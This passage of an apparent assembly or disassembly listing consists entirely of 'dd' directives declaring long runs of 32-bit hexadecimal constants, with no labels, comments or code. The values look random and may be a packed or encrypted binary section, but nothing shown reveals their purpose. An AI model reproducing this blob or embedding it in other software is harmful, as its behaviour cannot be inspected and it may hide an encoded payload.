		dd 26CD3BD2h, 0F32AFEDDh, 3F87C202h, 0D3AA40E4h, 460F69E9h
		dd 11F14283h, 7231062Dh, 9BC32581h, 0E2707EB0h,	0E58898B6h
		dd 4FB70BEDh, 0D07007FDh, 0F7A0DF3Bh, 0F345E911h, 102D22C1h
		dd 0D2FF537Ah, 1AEDD819h, 659E828h, 8087AF41h, 0E1C05B7Ah
		dd 0D3C9FE08h, 18D120Bh, 1FE9C834h, 80E975B3h, 0DAF381BAh
		dd 97F6ECA7h, 0CE003574h, 0E970BB5Ah, 80E15497h, 118D0FE3h
		dd 0C6F5B40h, 75AABEBBh, 8B870B5Dh, 6914F33Bh, 0D0972CE6h
		dd 495A0003h, 237E353Eh, 0E9170847h, 988C19A7h,	792D072Fh
		dd 0F649416Bh, 25B41FCCh, 75CEB742h, 55A7D2C7h,	0E9182D16h
		dd 0E565C454h, 22FA2D68h, 0E9057A47h, 819851E7h, 56721691h
		dd 8E1CFB63h, 0FEBCF1D2h, 0BE4B30D5h, 8CC3D174h, 5F3BCBE9h
		dd 2E5FA099h, 9968CBC2h, 4E69A406h, 1DF4BA58h, 4A445227h
		dd 0CB080FBCh, 44AD4A02h, 0DAD92FA2h, 812F0A46h, 58DA986Ch
		dd 733C9851h, 2F3D0007h, 0CCCD8145h, 192D213Ah,	64AA484Dh
		dd 5BAE172Ch, 0FC6DEB89h, 0C3B1A26Ah, 0F50323BEh, 6AA9E484h
		dd 48D76A10h, 0D4CA13D9h, 0ED21A2DDh, 2F433DF5h, 565B25CBh
		dd 0CDB55070h, 7FE904F6h, 6C14CDDEh, 0B3E9B007h, 62B2BE79h
		dd 31071C44h, 5D7D8519h, 505A21D1h, 981F9A34h, 653F5C26h
		dd 12905284h, 0F7D34503h, 34087CD2h, 0BFC36F74h, 0C3024CA5h
		dd 0F76602BDh, 653448D5h, 907CACCDh, 181A4D8Bh,	0DCFA894Eh
		dd 89C051C2h, 9AC76BCh,	44809F8Fh, 13BE5E1Dh, 0A107D790h
		dd 291A1228h, 2AA95B25h, 0B2FE758h, 0F6D2EB76h,	8858A776h
		dd 587E7497h, 3D58E168h, 0F1F28913h, 0E8AA89BBh, 6C303752h
		dd 0DBB9D4EDh, 9563732Fh, 5E1F1B56h, 7F51E332h,	0F2BC7E4Eh
		dd 1B305E49h, 0BAC41F28h, 52FC3F88h, 8C04F6B3h,	0BA143219h
		dd 5B0E99C0h, 83403E27h, 25039DDh, 0C14C3B0Ch, 30120530h
		dd 72907E5Fh, 0BA6BBD05h, 82BA5C12h, 59CC569Ah,	0EDC15E09h
		dd 0C57B2002h, 615B9E11h, 4BEA763Fh, 552DD35h, 3A07BE80h
		dd 0DBF25089h, 0FD996F0h, 42C0A1BFh, 5FFA297Eh,	8512EB90h
		dd 0D0A2011Eh, 0CD472B1Bh, 175B73F0h, 575A7825h, 0AFBEAD98h
		dd 0FFE81AB5h, 0E4569FB0h, 0AD18F99Fh, 0E9250A94h, 31F60336h
		dd 2E76B9F5h, 306BF36Ah, 0F57C65Bh, 4E0B1F30h, 0F62515E9h
		dd 27BCFE77h, 0D1525F2Eh, 87CF705h, 44C023E4h, 4B48A149h
		dd 2AE8B00Bh, 0B83080B5h, 7ADA6C83h, 0F0182438h, 0DB529DF0h
		dd 72025BF5h, 116F6E68h, 419CA229h, 37A10FC4h, 2E62A264h
		dd 0BF6E4B4h, 0FA929111h, 0BF88B04h, 9F90F05Dh,	5C9FFDD0h
		dd 1960E44h, 1EC3E237h,	306517F0h, 9CBB802h, 507DB15h
		dd 52689002h, 0A11F3E0h, 623A5C81h, 68DFBCF0h, 81CB9106h
		dd 3A2F71ADh, 6E1C56A8h, 53D327FEh, 0B8E1903Dh,	8746582Dh
		dd 7E713BA0h, 4B18CF48h, 46C40104h, 305D7549h, 0E5E88807h
		dd 43AEB07Fh, 4F3F8F97h, 56F18BFEh, 808F3EE6h, 0C14E26C9h
		dd 39C9EBCh, 0CA2823EAh, 0C1ACC2EBh, 87E54C62h,	3E2C03Ch
		dd 0BEB1C884h, 0C46DF13Eh, 6623D68h, 72F0B8B9h,	426B0426h
		dd 80096E3Bh, 151135BFh, 741CE82Dh, 473E0C18h, 862E5B9h
		dd 4A34673Fh, 0C64777EEh, 0F451E989h, 55F181B7h, 2150FA59h
		dd 6160F5FFh, 64AC6E5Bh, 89E4AFE5h, 0DEB526E9h,	42024499h
		dd 0E65A6368h, 0A8505D0Eh, 0CEC8ABC9h, 5EE6F729h, 5FF80AC7h
		dd 8B09A69Ah, 23EE441Ch, 270258DFh, 610D061Ah, 5FD86498h
		dd 0CB5987Fh, 622C0478h, 0FEECBA0Ch, 927709Fh, 0C9B73445h
		dd 2F093FF4h, 0B08D4446h, 80587AE9h, 970B6805h,	0B31E2E3h
		dd 87062211h, 737F5CB2h, 0A9580FF2h, 0FEF8826h,	0BD0F8310h
		dd 6E814854h, 381DAD68h, 2E46DF29h, 402E2A29h, 3FEC48D5h
		dd 0CCD0904Ah, 4EB2C549h, 7F04ABF9h, 31BE5EA8h,	646672C3h
		dd 0E296872h, 0F8A5B36Ch, 0DEB3019Ah, 61E9D888h, 2D893FCDh
		dd 0B7DF9AE0h, 0FE27FEC4h, 0E69770C6h, 0FC0AD341h, 0FD893C91h
		dd 0EE4BAD70h, 0C09F57EDh, 8097B252h, 6A9060F2h, 0D54C6570h
		dd 9096202Dh, 1CC00044h, 0FD21F551h, 0D9984D5Fh, 0A13B7403h
		dd 20EB013Fh, 0B80540FAh, 299C3A7Eh, 0F2ADD0EAh, 414CC928h
		dd 27604DA6h, 0C196DD21h, 2556F75Dh, 2B12B859h,	0A0A85E2Ah
		dd 0FD5F9CF8h, 0C725A04h, 0FB3AF5E3h, 0E6E86EC1h, 0BD729D16h
		dd 16D98197h, 0FC6B7522h, 59507C6h, 0E7605423h,	480435E2h
		dd 0E50FAA57h, 1E12E115h, 18D260EEh, 4B4EF71Ch,	46C4B69Ah
		dd 15F0703h, 0CEEE5E54h, 1095CB1h, 6CA97A0Eh, 11285C01h
		dd 8400CD0h, 48221643h,	0C505E04Ch, 690BF9B5h, 3340F158h
		dd 8AAE25E9h, 78BBDB18h, 956B20Bh, 803296CDh, 2A6D6085h
		dd 0F2E911FFh, 2EC738E9h, 4E24CE5Bh, 3465A2CBh,	235AD8Ch
		dd 6C5BC1C5h, 52D88071h, 4B7D0343h, 0E9BD9121h,	0BE72248Fh
		dd 1302850Bh, 80B0278h,	0B95D056Ah, 88EEC5A3h, 7DE0CC8Dh
		dd 3B7297F4h, 127C070Fh, 48A96631h, 0E88933B7h,	7ADAC306h
		dd 0EDF4DBA9h, 64F11013h, 0E1A6ED6Bh, 8105EE59h, 0C858A49Ch
		dd 0A6C94942h, 5D76E2E0h, 6FA681E7h, 7E384E1Ch,	0D81D9CA7h
		dd 0AC0CC553h, 25ADAF82h, 0EE5C2368h, 3D0AD669h, 0E942AE83h
		dd 1C31E6A3h, 862BFFF7h, 0E160D12Bh, 4F173B1h, 0E09711Eh
		dd 0D6501CBAh, 0BD2DECC2h, 0E4731E51h, 0D8753102h, 0E26D0FE8h
		dd 68C9FDD9h, 0F7BD92C0h, 690B5BB8h, 57ACD81h, 0AAB3415Bh
		dd 48034C69h, 0B9275BFCh, 0FD4A0DBh, 0BD568C1Eh, 0EF42A05Ah
		dd 5576AA4Fh, 2D3FA598h, 0ECB82850h, 4C1AC048h,	0E4D03DC8h
		dd 0D5EF040Eh, 0CB7082F5h, 0C30080D7h, 0A877CC68h, 81291FCFh
		dd 0E6F8D861h, 0D80B98B3h, 0E0FA5E1Ah, 3144FC35h, 0C0A8227Bh
		dd 88BDC97Fh, 0EB3F8C3Bh, 27D97E9Bh, 35048E3h, 0AC0DA74h
		dd 6B8049BAh, 2502BDCBh, 5D098C24h, 98D2C0E2h, 2665FCEDh
		dd 5136F00Eh, 50BD76E9h, 7C8EE103h, 0C1B73AC3h,	0E27A6633h
		dd 0F367ECC0h, 2993DE02h, 0C0F759CDh, 0BD500D82h, 0A0EE62F1h
		dd 0E05BE56h, 3106093Fh, 0EF655EF2h, 78D0210Ah,	1C84408h
		dd 0E22D0BBDh, 0AC806F69h
		dd 4B39741Bh, 9BF94C29h, 0CC17EE2h, 3F8F4707h, 0AB7B0F00h
		dd 0F50E027Ch, 0CB1B39A3h, 82E8FE31h, 582F2294h, 1A21F460h
		dd 0F2FC3272h, 34D4E85Bh, 90EFB909h, 3D29F57Bh,	23970A6Bh
		dd 7E474F16h, 59926380h, 18008F2Dh, 0B053439h, 0B867B03Dh
		dd 0D9681279h, 0B13454h, 6D2BBD82h, 480ABA18h, 8740EF3Ah
		dd 10B5C3A0h, 18F9CA3Ch, 1830FE74h, 0B104C70Ch,	0A67BE9EEh
		dd 0E8D7C397h, 0BA6FBE8Fh, 75A4DDAFh, 7696F23Ch, 4D788781h
		dd 1E68AC09h, 0F8A8C3D6h, 599F7491h, 0DFE3B593h, 523BB800h
		dd 0F1E9490Eh, 0D3BFF49Ah, 0F4253E04h, 4F2DA354h, 41722C76h
		dd 6E169968h, 0EA17C932h, 2F69F697h, 0E4F78EA5h, 194A0E61h
		dd 44909D37h, 38620C54h, 3C8F2D58h, 0EF2EA30h, 0EBB21C74h
		dd 26700431h, 8BA6754h,	0BE1EEEA9h, 2CB13887h, 0CCFD9EBh
		dd 777B33Eh, 670D5A76h,	0D06BF5Dh, 5F8BAD3Eh, 0C5BD0A45h
		dd 3F7239EFh, 3AE9C630h, 5B71B72Fh, 2D494CE9h, 127C54Dh
		dd 1F0BCE4Eh, 0B3637184h, 685805ECh, 0BC980820h, 144121Ch
		dd 4E6C0350h, 0C028C3Eh, 6C570BE9h, 3F035478h, 608E118h
		dd 0BA015202h, 48E530C4h, 0C131D121h, 5530DBFDh, 856B451h
		dd 0B60088DCh, 66F33090h, 0E1085A5Ah, 84406CB0h, 491D352Dh
		dd 157AC4EDh, 92098177h, 0F723F48Fh, 731B4E60h,	85EA2CE2h
		dd 45941713h, 0B17BFD81h, 0F44F2D2Bh, 0AC0F14Bh, 339ABBBAh
		dd 0D129250Bh, 84E515F7h, 0BAD81AE9h, 5C2771E6h, 0C3050B4Ch
		dd 2A2247D0h, 84188BDh,	9225DE01h, 0EAB15203h, 0F8E22BD3h
		dd 6E66FE89h, 0CC0D1B9Dh, 4BC33BD0h, 5E9C287Dh,	59088131h
		dd 0C98AB32Bh, 559D7A28h, 762AAA43h, 681829BFh,	6AEF449Ch
		dd 805F82F0h, 651CD353h, 6022F8E7h, 44C1EDA9h, 3A673911h
		dd 6D826F0Ch, 5A65C370h, 4C6D8AC4h, 69EA5A99h, 2BA23FFCh
		dd 3D17CA58h, 0D56C92CEh, 244E6EC4h, 0E9124A8Bh, 68DC805Eh
		dd 42E61787h, 78E596A0h, 4B382913h, 0DEDFE601h,	0A554AB83h
		dd 0C4E3D4BEh, 5F16A801h, 11E194E8h, 0E8446E49h, 0AE12D9B5h
		dd 8FF8B356h, 0DC62E9F2h, 7AA7E551h, 1D7C2ED5h,	7C8E4980h
		dd 0D3200A1Ch, 8A8925CDh, 80C1AB76h, 684DEF2h, 0A9D0208Ch
		dd 602B8B78h, 10CB385h,	45BDE88h, 0F8F028AFh, 6F9DE03Bh
		dd 6B058B55h, 0F882C48h, 9534E43Dh, 84AE3CF3h, 590B9CF5h
		dd 53F50555h, 4AC4E7D6h, 6EBFF128h, 95C401F8h, 26AEA478h
		dd 717DC2FDh, 307F69DAh, 0B21E8371h, 0A4709F35h, 5C2ED20h
		dd 3D3A5C0Dh, 2104BF4Eh, 1058572h, 0CCF182EFh, 524BBF00h
		dd 344748E0h, 0FE0DD273h, 8DE5E317h, 7D8A1442h,	2B8F32B9h
		dd 5EC57CE3h, 5530BAD0h, 7DF7577Ah, 9184B0Dh, 0E9D605CAh
		dd 68A512BDh, 59483EFDh, 4338C503h, 0C046F8Ah, 2BF6642Ch
		dd 0BD3265C0h, 296824E6h, 36CB40EAh, 0E8907325h, 0F166D70Ch
		dd 1294183Ah, 246AB77Dh, 1C081AF6h, 2094142Fh, 8AF45927h
		dd 530DEF84h, 4DA58987h, 3E205D8Dh, 97FE70CBh, 666FB3D6h
		dd 1162175h, 191C272Dh,	704B934Fh, 0D9D7400Fh, 0B7EA7DD0h
		dd 620A2850h, 4FF705B6h, 0AF2945CDh, 81287C4h, 0C30AB5A3h
		dd 8ED59BE9h, 0E6EBDF31h, 0C5829C70h, 0C089D975h, 6981767h
		dd 9D3C1490h, 0F6F92DE8h, 1406C9E7h, 5F0B308Dh,	51370C68h
		dd 490A9616h, 0EC248A81h, 0F559E188h, 5A7178A2h, 5524889Dh
		dd 95479055h, 0F3978EF0h, 951258Dh, 30428160h, 8BC3841h
		dd 0FA2561D8h, 0F290C0A0h, 893EDFA3h, 405CB8CBh, 6FF57C81h
		dd 716B84BBh, 74A69DAEh, 0CCC43AC1h, 9DBA7609h,	1504ED12h
		dd 12FBCBAFh, 59A34762h, 0A990FAD2h, 95FC9CE9h,	37A64745h
		dd 6D119E02h, 0AEC5837Fh, 0E928C008h, 0E4B45A35h, 24133F8h
		dd 10AEA82Fh, 15BD037h,	0CF359510h, 6F588260h, 0E29F30CAh
		dd 342644C4h, 0B46DDE2Eh, 0C275B09h, 8449E501h,	0F867A868h
		dd 7D9DC21h, 0FE98FF2Ch, 6F2B665Eh, 0F7307172h,	0BA1B11DEh
		dd 9FFAB713h, 5DCA6D03h, 0E1BF5793h, 5260B43Bh,	41234B1Dh
		dd 32031C4Fh, 0E636011h, 9FC0DD13h, 0C76882EAh,	3189A859h
		dd 22E5CD7h, 3758686Dh,	886A85Fh, 8EAB5F12h, 6BD44A96h
		dd 49DFC7BEh, 2D4D6FD5h, 67E32920h, 0B8005063h,	0AF9C9841h
		dd 0B42C805h, 0D801779Eh, 0E8AC4B04h, 0A92C4C6h, 0E909FDDAh
		dd 9BF77999h, 0AAAFC97Eh, 0EDD6DD6Fh, 0EE132EA4h, 94F261ADh
		dd 1BB76878h, 20F7D9BAh, 4087CE7Ah, 0AD92BED2h,	0E9F12106h
		dd 781A036Dh, 8CD4975Ch, 28B06597h, 5F13EC50h, 0D346A9EBh
		dd 0E6E71CFBh, 0D8E9D120h, 38B70108h, 0B58AA00Fh, 40C1B593h
		dd 0DC346ABBh, 0D3889081h, 828D5F03h, 71FEFC93h, 207B7582h
		dd 412E610Bh, 0A5C1996Eh, 27226702h, 0DFA3B275h, 0FBB2941Eh
		dd 0B7E9560Bh, 62BD7C25h, 0BD6B5h, 22D82D2Ch, 59362F51h
		dd 0A4ADA9E7h, 0A0597F67h, 0C0003FD7h, 765BC2B8h, 0D9BA0B7Ah
		dd 0C30F478Dh, 0BF07584Ch, 0CEFE12EEh, 207821F7h, 4605A80Ch
		dd 0A96871D0h, 0F84E67A8h, 38E9A0F8h, 0F352B7DFh, 0E0B23AEEh
		dd 2CB87B9Fh, 0E66527E7h, 0F16C993Dh, 1ADCF825h, 3A2D813Ch
		dd 81A57ED7h, 0A881CB57h, 892FCA46h, 1EBCFC9Eh,	0D088B39Eh
		dd 0EAE3098h, 59481670h, 0C1192D75h, 0F324614h,	2F72860Fh
		dd 0D901EBD7h, 10A66C36h, 90CF1A82h, 0D441E3EAh, 7818931Ch
		dd 1F1944F8h, 2F5E46F6h, 0A4326093h, 749D8AFEh,	0E3BC0C5Fh
		dd 7BE81B1h, 0B9D0F243h, 0C53EFAB3h, 0A119E8E2h, 9BCE7268h
		dd 42ECC0B8h, 5E18093Dh, 1E7004E9h, 3738B935h, 66A1E580h
		dd 68744CCAh, 2F698405h, 0BE18F05Ch, 0E0310C6Eh, 314ECC28h
		dd 0B7C190CEh, 0E5C69CA0h, 47008AA7h, 59444B2Dh, 0BDB1E937h
		dd 65BF5980h, 0F14C54CBh, 4B60505h, 94EB39E2h, 0E9080404h
		dd 412CA154h, 13127C65h, 202FE9FEh, 0C500946Dh,	0D3FCD502h
		dd 46959768h, 0FE92DF8h, 0AEBE6F00h, 3E16CF31h,	90BBF729h
		dd 5BDD8962h, 0F1F5E8FAh, 191D24C4h, 684EC8EEh,	53B300A8h
		dd 48EDCAF1h, 15046293h, 18B27E5h, 686633FFh, 21A159C2h
		dd 22C84FE9h, 775DC964h, 0B140FCA5h, 3F9EFD6Ah,	5BB2EEA0h
		dd 5AC780B7h, 915F7EE9h, 7D18BE40h, 45696819h, 9C44B161h
		dd 342F4A2Ah, 0FCB3FF3Ah, 0C74FE4C6h, 0EEDEA0Dh, 0F3D82E97h
		dd 960A0DC1h, 0F978D189h, 98706B35h, 5C536859h,	54C29304h
		dd 0B05F505Bh, 7659010h, 0E5D12792h, 0AE0224C1h, 72680A28h
		dd 7699BD60h, 0D6E56B47h, 0E3E9A06Fh, 0DE108D0Bh, 12A1680Bh
		dd 177C7478h, 0E3BC44E9h, 0B0B3D2BEh, 7D5F71Fh,	116855EFh
		dd 2E9D2E6Dh, 2B477980h, 0C672512Fh, 184B5120h,	52775310h
		dd 0DC051AFCh, 2042E9FAh, 0F8588228h, 38889F86h, 5E52E26Ch
		dd 8D52D276h, 0B36B5065h, 129D9F5Eh, 0FDEA51F2h, 9165BBAFh
		dd 0C05DEE1Bh, 0E1050BD7h, 2C5355C6h, 0F8B26F05h, 0AB96FE4h
		dd 292EDD64h, 80203B93h, 0E0A531E7h, 3DC94C89h,	0C06109E3h
		dd 48C8FEDBh, 7B063B53h, 6D7EA80h, 0E204C176h, 2057E9C3h
		dd 0A1CD8CFEh, 1E57DA6Ch, 0D788A066h, 6264B59Eh, 7F07CC40h
		dd 8BCEB42Fh, 87562934h, 418B6E9Fh, 0DD540617h,	71C606BDh
		dd 6476657Ah, 80529148h, 8272AFC2h, 6775F67Ch, 9EF47B5Bh
		dd 76DC467h, 0D802D2E2h, 536221F6h, 4BCC7C54h, 95BC3056h
		dd 54099673h, 344A8712h, 0B0F65BAh, 0BF6BDA8h, 0C4059360h
		dd 25517E16h, 9DF9A8C2h
		dd 70274CA4h, 5B663CB9h, 0C828C087h, 20554D2Ch,	756058F2h
		dd 3E2FEE51h, 0F0415BD8h, 12413167h, 726046Ah, 0E78CEA09h
		dd 0AD7248B7h, 59E2B05Fh, 0FD3AEE41h, 0A571D376h, 0D534A087h
		dd 9D3207CCh, 0A1F1813Ah, 2F731103h, 0F14271F1h, 26B46422h
		dd 0C2A15B4Ch, 1776BD11h, 642711EBh, 3DEEAD2Eh,	0D61CE9A6h
		dd 0C65F5260h, 0C9E9241Bh, 18D6A446h, 85EDA76Ch, 0F96BC9B6h
		dd 6FE941EDh, 0E7D1010Fh, 160E1360h, 0E0DA90F8h, 0E06BC3B8h
		dd 0F550028Ah, 70B8FDBAh, 0ED04815Bh, 0D513231h, 0E4FA2182h
		dd 0DF602568h, 0F9FA93D7h, 484905A2h, 0C734BA33h, 1BA2EF5Dh
		dd 571FB8CCh, 1F626875h, 0B19D8DFh, 709A832Bh, 12E87155h
		dd 91198257h, 2BE0DD09h, 0CFE6BDF7h, 0C4C75F4Fh, 0D0A79E9Fh
		dd 592EA15Dh, 9EFDB33Ah, 0AF4AD5D0h, 0EE291344h, 2E679C0h
		dd 3716134Eh, 0BA9CC046h, 889CEFEDh, 2768500Ah,	0C512E42Ch
		dd 0AC46438Ah, 856DA85Fh, 778D2BB5h, 4C50DA11h,	1250CA3Fh
		dd 37218083h, 0BB85BC2Fh, 3AD068h, 47B05061h, 51121D0Ch
		dd 8808C588h, 74641928h, 0ED40F202h, 5A96E33Fh,	2C37D262h
		dd 635FB196h, 0C91DA3BCh, 0B71B0BEDh, 6F843531h, 5212B5A8h
		dd 0C77B6134h, 988A6F37h, 0A62D8C15h, 1894FB3Bh, 90071209h
		dd 6003CB6Dh, 442905F5h, 0EA5968B8h, 1AF30F32h,	0D705FFA3h
		dd 823BA52h, 0E5F78B5Ah, 6634C9C2h, 16ACF0E9h, 0EBC92EA2h
		dd 0B64E31CFh, 6401249Ch, 0CAEE2D35h, 24FBD74Fh, 689AB0A3h
		dd 0C7060F25h, 0ACEDA670h, 2EE95187h, 11989B8h,	309364FBh
		dd 0F6957ABFh, 3C1152E9h, 0AEB67E55h, 918CAD12h, 23D58BCh
		dd 40457EBBh, 5B1388CBh, 24BE5A5Bh, 41808062h, 0E0BD3C47h
		dd 0E4B8C3E8h, 8E869AF8h, 3AD8BD90h, 59CEE1C2h,	0B59E5831h
		dd 38E96059h, 0C48BFAAEh, 0A8C207ABh, 24F2CF48h, 6CBD28D7h
		dd 6A71F24Fh, 8013EC11h, 0AED912BEh, 261780CAh,	4A0F908h
		dd 7B7852FBh, 684B1BC7h, 82F8E7F1h, 9755A57h, 1537117Bh
		dd 8240097Fh, 5753E09h,	0B9268129h, 70E37AD8h, 5A59C115h
		dd 0F6D5AA50h, 0C9F1BFB4h, 9FEB3EBDh, 0DACF5250h, 10A44E9h
		dd 7ED0B3FEh, 0FB21D590h, 0C0E9040Fh, 457DE38Fh, 47A66ACDh
		dd 0BF0FC812h, 0C6FE1A75h, 36644049h, 0E982D887h, 9C5C0B13h
		dd 992E6E02h, 0CC2D4076h, 4102303Eh, 2C2A490Ch,	9E2094B0h
		dd 0E03B0D2h, 58E688B2h, 0FB33CEC4h, 5D709131h,	5411B900h
		dd 0E834982Ch, 43C23545h, 713B4109h, 0D70BBF05h, 2BDB0ED0h
		dd 804556BBh, 585BDE29h, 42705D68h, 0EA10F497h,	448305CEh
		dd 0DEE90245h, 0D4C8BCE9h, 4C1640BBh, 0CEE07A92h, 0D8474E26h
		dd 85C17B4h, 0A605D65Dh, 43B33528h, 88652D13h, 0F8A8805Ch
		dd 672558BBh, 138540Ah,	63B707B9h, 8283C9E9h, 0C0BC195h
		dd 209DE066h, 5BF08227h, 895A54F0h, 0FA571728h,	0BCA64A8Bh
		dd 0F612A2FEh, 0A8C38132h, 0EC6F545Eh, 0BE801D05h, 523E1E70h
		dd 3E38410h, 922AAC01h,	958CEEEh, 0D6C056E9h, 0FEE2EB74h
		dd 96B031C1h, 6BE3F5F5h, 0E67C6817h, 75100607h,	0B6271CFh
		dd 8E308AF1h, 90FC1CD7h, 0EE2809D8h, 0DFE08F21h, 0E30BB850h
		dd 570F386Fh, 0E22F398Bh, 9B770492h, 58A5276Ah,	4BE916A4h
		dd 30B6040Eh, 0BCE5FEDAh, 9F41A236h, 0B85FFC2Bh, 2F20F501h
		dd 0E967405Fh, 0D28A352Fh, 6B06408h, 1E61F81Ah,	0E0A5282Bh
		dd 20E9CBEEh, 749D412Eh, 0A846F0Bh, 828AEFD2h, 0E3356F13h
		dd 178F1815h, 0BD5AF5C9h, 0C59B474Bh, 0F6610603h, 0D1EDD0D5h
		dd 46FB1F5h, 0F0B0E9F0h, 0BD045540h, 27291F58h,	0E75716FBh
		dd 580276ADh, 8E926F5h,	0FD5957EBh, 7B7D17BDh, 0FBA4D8ACh
		dd 0B83A83A1h, 0A2881233h, 397DC48Ch, 8501525h,	0CC3B08BCh
		dd 29BE0102h, 10340C44h, 465D1C22h, 0F6DB27B5h,	0F17368F6h
		dd 108111AFh, 965546BAh, 35D6E905h, 173E6DAFh, 92F64E1Bh
		dd 0FB8B4816h, 0F2825B27h, 62277CDFh, 75FE8668h, 0F65EC0C2h
		dd 1C776B16h, 72E9255Bh, 7FF89BE3h, 4B7A6653h, 64C60F25h
		dd 5B36F0EEh, 652A36CFh, 0B00FB102h, 6ACBE94Eh,	0D5DBC003h
		dd 13AF132h, 9D33EC89h,	0B3F82A4Ch, 5BDD1114h, 9C751C2Dh
		dd 2556B5E7h, 5A7AE950h, 6361FBDAh, 2D03B528h, 38103E88h
		dd 96D6D6B7h, 0FF2353FEh, 0DDA7E897h, 80C98A5Ah, 0FA72F391h
		dd 0B251612Dh, 6B7A7014h, 0B76D56A0h, 610C65A9h, 2D4A3EE1h
		dd 13C7BD8Ch, 87E62005h, 0E9CAB062h, 4099516Dh,	2110A5A6h
		dd 6EAC107h, 0F8A19456h, 0F02800ABh, 305A7504h,	414F98C3h
		dd 11012B67h, 45158018h, 0B2DE816Eh, 0C61D812Bh, 2AA13EEAh
		dd 9B4AA698h, 0D19576F3h, 4401C240h, 0BED95804h, 4F7E0B7Bh
		dd 952F4A46h, 0E71DC3Eh, 0BA1214A7h, 135CAA2Ch,	0BA30685Ah
		dd 21829E34h, 0B2F5C1CDh, 0FFEAC0DCh, 6B6E06A8h, 56506547h
		dd 25F6D39Dh, 925AB244h, 57EEABD0h, 10282C3Dh, 0ACA28879h
		dd 5B370501h, 0C1314BCBh, 8510E66Bh, 0AFAC57E9h, 0DCBBBE05h
		dd 0AE83BBF5h, 3894EFF3h, 0A9F48CF8h, 0CEFB8EB1h, 798A32FFh
		dd 76852C1h, 92D2603h, 5898E950h, 207F982Ch, 9196AA7Eh
		dd 25C98100h, 485C8D6Ah, 0AC4F3D52h, 0FD2D0CAFh, 95FADA42h
		dd 5F760558h, 0BA00F175h, 92ED843Dh, 0C0BBEAE9h, 0F3BDC59Dh
		dd 949AF61Ah, 49BD92B0h, 0F83E014Eh, 51552720h,	1068582Dh
		dd 97433B5Dh, 0E04A80A9h, 0EA5E8183h, 54E98FB4h, 9053906Bh
		dd 0AEFD4A67h, 9E5CB22Ch, 0E6E0C21Fh, 20EEC6DFh, 5695ED9Ah
		dd 0A55B16E6h, 6F62F9DEh, 0C954570Eh, 0DABB2BDFh, 9C649D14h
		dd 7FBC1955h, 10DD6381h, 3479D2Bh, 1E255981h, 845AF86Ah
		dd 8C574C54h, 5027717h,	9DEF89A8h, 0C4F13B37h, 9B8E37Bh
		dd 55435CB1h, 94A93A24h, 0C0CFAF5Ch, 0F52F1E48h, 0AB4C2B94h
		dd 59CA85D7h, 8A828DB1h, 407C639Bh, 9AAC37Dh, 19F6807h
		dd 678B3859h, 0D671DA11h, 31320ACCh, 0BA52C06Eh, 0FB06ED03h
		dd 4341E91Dh, 0D7F63322h, 8B12C396h, 2720B286h,	764F3C5Bh
		dd 32F50675h, 0ACE4DB7Ah, 2F68B040h, 41196B82h,	59176F11h
		dd 0E9AC7FB8h, 44DF1A27h, 0CE54419Dh, 3F0BCFDDh, 38AA3CCh
		dd 0E4C3A8EBh, 44C209A8h, 0F058D931h, 49168914h, 0B7BA2EF3h
		dd 0B50EDCACh, 0C0270E29h, 6A4072EFh, 9FF9FC39h, 7D4ADCF3h
		dd 0A739CA82h, 2AA84061h, 63752416h, 3EE107DBh,	0C19164Fh
		dd 8577990Fh, 52F18773h, 0E11F1603h, 7A6023E9h,	4B04B803h
		dd 4739BBB8h, 2746CB6Ah, 8C09EA13h, 5AA11586h, 5BA7B63Bh
		dd 789429EAh, 0B19AA1E7h, 331CEA10h, 0D60CB025h, 0B008A029h
		dd 0AC052FBBh, 0CBCA3EABh, 0D7C6A90Bh, 681C471Eh, 0EADEE904h
		dd 4F86A7BBh, 57CB2FE3h, 610F4481h, 28613E43h, 382F377Ch
		dd 71B70918h, 0D8E9054Ch, 0C1DDAE3Ch, 0CE989A1Ch, 0EDC957C1h
		dd 7DB8A5C0h, 314A9192h, 0B77EA2ECh, 75ADCCE5h,	81FDC629h
		dd 5B5AD55Ch, 0F565A03Fh, 2F200613h, 0F77044FAh, 131E01DDh
		dd 8E71F1E7h, 0AA1F2BC4h, 19C6FDC6h, 784D5E9Dh,	16215F83h
		dd 29082024h, 20FE80E9h, 495B7B1Eh, 8805210Eh, 0BED2F6CAh
		dd 2C823525h, 0BE5F04CCh, 9750EAE6h, 7BE588A7h,	7AAD081Ah
		dd 0E09042D4h, 0BFD26452h, 0C6405820h, 0E6008109h, 75A354FDh
		dd 0C903EEC1h, 4A5A0506h, 0CEE0F50Bh, 0DA0757FBh, 290A38C9h
		dd 0B6CCEEFAh, 35DBA83Dh, 7A141D38h, 40BA432Bh,	74FA2F73h
		dd 813C82FCh, 56FB3629h
		dd 33E4CA81h, 0AD485A3Fh, 0B16C108Eh, 8DC28001h, 5173A368h
		dd 66F417DAh, 85D5485Dh, 0D9D3459Bh, 8E58B82Dh,	0C63127DDh
		dd 0A1BB3930h, 0AEEA3D91h, 6252A402h, 2235073h,	100A0548h
		dd 52776EDAh, 352D04A3h, 0BEBE707Eh, 40F71DB0h,	6B8BDD0h
		dd 16080B3Dh, 75B862C6h, 2E4CFED8h, 9DAACAFAh, 7CE980FDh
		dd 0B87F1319h, 0F9C30BB5h, 0D1583272h, 921E392Fh, 27ABFC90h
		dd 5B20BAECh, 87BA80A0h, 515C8075h, 0B0266EC9h,	0B6DA669h
		dd 0CEE9559Bh, 3F829211h, 20C25DC6h, 0A4B7EE61h, 0A5923979h
		dd 727B5F5Ch, 52BE2D40h, 0FC7B4B76h, 7B074183h,	5E651423h
		dd 0B70DF849h, 0DB13AD45h, 20165C5h, 164F332Dh,	5FCCE2D9h
		dd 587D4C21h, 2EAAD500h, 0A59DE91Ch, 5C72097h, 7CB046DBh
		dd 52662E4Ah, 0F69A416Dh, 3855E5B6h, 90D9A4D6h,	7ADC07Ah
		dd 68122AF5h, 868C4689h, 0AA989501h, 1305BB53h,	9489123h
		dd 0E7051BA8h, 0C1FB578Dh, 4C2D482h, 1803F3FAh,	0FE44C750h
		dd 0FFA2D3CAh, 0BC257281h, 0E813177Dh, 0C98BA363h, 864B605Eh
		dd 495D265Ah, 1AEB18EBh, 250E6C1h, 49D33E8h, 8FEA5B74h
		dd 75B24EF8h, 0F2CFE90Ah, 44C781B7h, 4088DDE6h,	0C626EEB1h
		dd 1CC23B4Eh, 0F4088AEAh, 602CC817h, 0A7654BE3h, 9F292031h
		dd 0BD136EDBh, 4AC77F30h, 64F42810h, 449B80AAh,	0FAEEB5F1h
		dd 6B772948h, 1E39F546h, 74AB3946h, 0EA41C709h,	97EA585Ah
